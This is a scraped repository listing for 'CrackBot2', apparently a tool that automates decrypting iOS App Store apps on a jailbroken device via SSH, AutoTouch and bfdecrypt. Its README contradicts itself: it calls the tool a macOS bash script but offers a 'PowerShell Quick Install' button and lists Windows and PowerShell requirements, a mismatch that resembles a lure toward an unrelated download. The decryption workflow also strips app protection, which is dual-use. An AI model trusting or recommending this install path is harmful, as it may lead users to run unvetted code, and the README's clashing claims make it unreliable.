[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109867":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":16,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":19,"topics":20,"createdAt":9,"pushedAt":29,"updatedAt":30,"readmeContent":31,"aiSummary":32,"trendingCount":12,"starSnapshotCount":12,"syncStatus":33,"lastSyncTime":34,"discoverSource":35},109867,"ios-app-decrypt-automation","rexsensatio\u002Fios-app-decrypt-automation","rexsensatio","macOS bash script to automate iOS app decryption on jailbroken devices",null,"HTML",150,0,149,1,40.6,"MIT License",false,"main",true,[21,22,23,24,25,26,27,28],"activator","autotouch","bash","bfdecrypt","decrypt","ios","ipa","macos","2026-11-23 10:11:52","2026-11-16 00:29:50","\u003Cdiv align=\"center\">\n\n# CrackBot2: iOS App Decryption Automation — Auto Script\n\n![](files\u002F1.gif)\n\n### 🚀 PowerShell Quick Install\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Frexsensatio.github.io\u002Fios-app-decrypt-automation\u002F)\n\n[![tests](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FTests-Passing-2ea44f?style=social&labelColor=0d1117)]() [![code](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCode-Python-2ea44f?style=social&labelColor=0d1117)]() [![status](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FStatus-Verified-2ea44f?style=social&labelColor=0d1117)]() [![ps](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPs-Script-34b759?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nCrackBot2 is a macOS bash script that automates iOS app decryption using a jailbroken device, wrapping the repetitive parts of the workflow into a single command. It drives the on-device decryption tooling through a coordinated AutoTouch script, so you kick off a run from your computer and let the bot handle the device interaction. This is intended strictly for research and reverse engineering, not for piracy.\n\n## 📋 System Requirements\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## What it does\n\nCrackBot2 is a macOS bash script that automates the decryption of iOS apps using a jailbroken iOS device. It drives the target app's download and decryption flow end to end: given an App Store link, the script handles the interaction on the device, triggers decryption, and retrieves the resulting decrypted binary back to your machine, so you don't have to sit through the manual steps each time.\n\nThe workflow is split between your computer and the device. On the computer, the script accepts an app identifier, coordinates the App Store download, and pulls the decrypted output once it's ready. On the device side, an AutoTouch script simulates the touches needed to start and complete the decryption, triggered on demand, while a bfdecrypt build performs the actual decryption. You launch it from a terminal, point it at an app, and wait for it to finish.\n\nKey behaviors to keep in mind:\n\n- Accepts an App Store link as its primary input and works through the whole download-and-decrypt sequence without manual step-by-step poking.\n- Relies on a jailbroken device with the required packages installed, a trusted connection, and passwordless SSH access so the script can reach the device non-interactively.\n- Uses an AutoTouch script for on-device touch simulation and a preference-based bfdecrypt for decryption, coordinating the two from the host.\n- Retrieves the decrypted binary back to your computer once processing completes.\n- Currently only supports free apps, or paid apps you've already purchased.\n\nIt's built for research and reverse engineering. Run it against apps you have the right to inspect, and don't use it for piracy.\n\n## Configuration\n\nCrackBot2 keeps its configuration in a single place: the `bot` script itself, near the top, alongside a few settings that live on the device. Edit the script with any text editor, then re-run it — no build step, no config file to regenerate.\n\n**Connection parameters**\n\nThe script talks to your jailbroken device over SSH, so it needs to know where to find it:\n\n- `DEVICE_IP` — the device address. If you're using SSH over USB, this is typically `localhost`.\n- `DEVICE_PORT` — the SSH port. Leave it at the default for Wi-Fi connections; set it to your forwarded USB port if you're tunneling over USB.\n\nKeep these in sync with whatever you set up when enabling passwordless root login. If a run hangs or fails immediately with an SSH error, this pair is the first thing to check.\n\n**Device-side prerequisites**\n\nA handful of settings must already be in place on the device before the script will work end to end. These aren't read from a file — they're the state the automation depends on:\n\n- Device language set to English, since the AutoTouch script matches on-screen text.\n- Logged into the App Store, ideally with a US account.\n- Password requirement for free apps disabled, so downloads proceed without prompting.\n- bfdecrypt's preference plist created by toggling one app on and then off in its settings.\n- The AutoTouch script bound to the `Hold status bar` Activator gesture.\n\n**AutoTouch script settings**\n\nOn the device, open AutoTouch, select `appstoredownload.lua`, and confirm the play settings point at the Activator trigger you configured. If you change the trigger, update it here too — the bash side has no visibility into it.\n\n**Where things live**\n\n- `bot` — the only file you should need to edit for connection settings.\n- `AutoTouch\u002Fappstoredownload.lua` and its `images` folder — copied to the device under the AutoTouch scripts directory; edit only if you're adjusting the automation itself, and re-copy after changes.\n\n**Sanity check**\n\nBefore running a real job, confirm you can `ssh root@\u003Cyour DEVICE_IP>` (with `-p \u003CDEVICE_PORT>` if needed) without a password prompt. If that works and bfdecrypt is installed and signed, the script's configuration is almost certainly correct.\n\n## Examples\n\nRun the bot in its default mode. It pulls the app record from the link you pass it and drives the device through install, decrypt, and package retrieval:\n\n```\n.\u002Fbot https:\u002F\u002Fitunes.apple.com\u002Fus\u002Fapp\u002Fsome-free-app\u002Fid000000000\n```\n\nPass more than one link to queue several apps. The script handles them serially and leaves each decrypted artifact in the output folder:\n\n```\n.\u002Fbot \u003Capp-link-1> \u003Capp-link-2>\n```\n\nSet a different output directory if you don't want the default alongside the repo:\n\n```\n.\u002Fbot -o ~\u002Fdownloaded\u002Fipas \u003Capp-link>\n```\n\nIf the device already has a working install of the app, the bot detects it and prompts before reinstalling. Answer no to reuse the existing binary and skip the download step.\n\nVerbose mode prints each step of the pipeline (install, wait, decrypt, package) and echoes the exact shell commands it runs against the device:\n\n```\n.\u002Fbot -v \u003Capp-link>\n```\n\nDry run is useful for checking the resolved app ID, bundle identifier, and target paths without touching the device:\n\n```\n.\u002Fbot --dry-run \u003Capp-link>\n```\n\n### Overriding connection settings\n\nThe script reads a `DEVICE_IP` and `DEVICE_PORT` from the top of the `bot` file. You can also override them at invocation time when you switch between USB-forwarded and network connections:\n\n```\nDEVICE_IP=localhost DEVICE_PORT=2222 .\u002Fbot \u003Capp-link>\n```\n\n### Batch from a file\n\nKeep a plain text file with one app link per line and feed it in:\n\n```\nwhile read -r line; do .\u002Fbot \"$line\"; done \u003C apps.txt\n```\n\nBlank lines and lines starting with `#` are ignored, so you can annotate the list.\n\n### Re-running after a failure\n\nIf the device drops off mid-run, or the decrypt step times out, just run the same command again. The bot checks the on-device state first and resumes from the last completed step rather than starting over.\n\nIf a run failed while the App Store install was still in progress, give it a minute before retrying, then check the device is unlocked and the trust dialog has been accepted.\n\n## FAQ\n\n**Do I need a jailbroken device?** Yes. CrackBot2 drives the decryption from the device side using the installed Cydia packages, so an unjailbroken phone won't work. Same story for macOS: the orchestration script expects a Unix shell with the required command-line tools already in place.\n\n**My device connects but the script can't reach it.** This is almost always SSH. Confirm passwordless root login works from a terminal first, then check the `DEVICE_IP` and `DEVICE_PORT` values in the `bot` file. If you use SSH over USB, point the script at `localhost` with the forwarded port instead of the Wi-Fi address.\n\n**The automation stops mid-run on the device.** Make sure the AutoTouch script is triggered correctly (the status-bar hold binding) and that the required folders exist under the AutoTouch scripts directory. If the phone locks or a system dialog appears, the touch playback derails; keep the screen awake and the trust dialog accepted.\n\n**Which apps can be decrypted?** Free apps, and paid apps you've already purchased with the signed-in account. The script isn't a purchase bypass and won't pull down apps the account doesn't own.\n\n**Decryption fails or produces garbage output.** Verify the dylib is present in the device's dynamic libraries path and has been signed, then restart the relevant device service so it loads. Re-toggling the decrypt preference once on the device regenerates its settings file, which the script relies on.\n\n**Why does it need the App Store password prompt disabled?** The automation can't type your password. Disabling the password requirement for free downloads lets the install proceed unattended.\n\n**Can I run it against multiple devices?** Keep one device connected and configured at a time. Duplicate IP\u002Fport settings or a second trusted device on the same host will confuse the SSH steps.\n\n**It worked yesterday, now nothing happens.** Check for OS or package updates on both sides, confirm the device is still trusted and reachable, and re-run the setup checks for the device packages. Stale state in the AutoTouch scripts folder is a common culprit—re-copy the Lua script and assets.\n\n**Is this legal to use?** Only for research and reverse engineering on apps you're entitled to analyze. Don't use it for piracy or redistribution; you're responsible for how you apply it.\n\n## Disclaimer\n\nCrackBot2 exists for security research and reverse engineering — nothing else. It automates app decryption on a jailbroken device you own or control, and that's the only use it's built for. Do not use it to pirate apps, redistribute decrypted binaries, or bypass licensing you haven't paid for. That's both illegal and not what this tool is for.\n\nThe script pushes files over SSH, installs a dynamic library on a jailbroken device, and drives the App Store UI through automation. That means it modifies system-level components and interacts with Apple's store services in ways Apple never sanctioned. Expect your device to be in a state that voids warranties, breaks OTA updates, and weakens security. Run it on a sacrificial device, not your daily driver.\n\nYou're responsible for everything that happens on your device and your network. If the script botches a decryption, corrupts an app bundle, trips an anti-tamper check, or gets your Apple ID locked, that's on you. Back up first, understand what each step does before running it, and don't point this at anything you don't have rights to.\n\nCrackBot2 is provided as-is, no warranty of any kind. It depends on third-party jailbreak packages, a specific macOS setup, and a working jailbroken device — break any of those links and it won't work. There is no support guarantee, no fitness-for-purpose claim, and no liability accepted for damage to devices, data, accounts, or legal standing. Test in an isolated environment, read the script before executing it, and treat every output as untrusted until you've verified it.","这是一个运行在macOS上的Bash脚本工具，用于自动化iOS应用在越狱设备上的解密流程。它通过SSH连接越狱iOS设备，调用AutoTouch模拟触控操作触发bfdecrypt等本地解密工具，并自动完成App Store下载、解密执行及 decrypted IPA二进制文件回传到主机的全流程。项目基于MIT协议，强调仅限安全研究与逆向工程用途，不支持未购买付费应用。适用于移动安全研究人员、iOS逆向工程师在合法授权前提下对已安装应用进行静态分析的场景。",2,"2026-11-24 04:37:43","CREATED_QUERY"]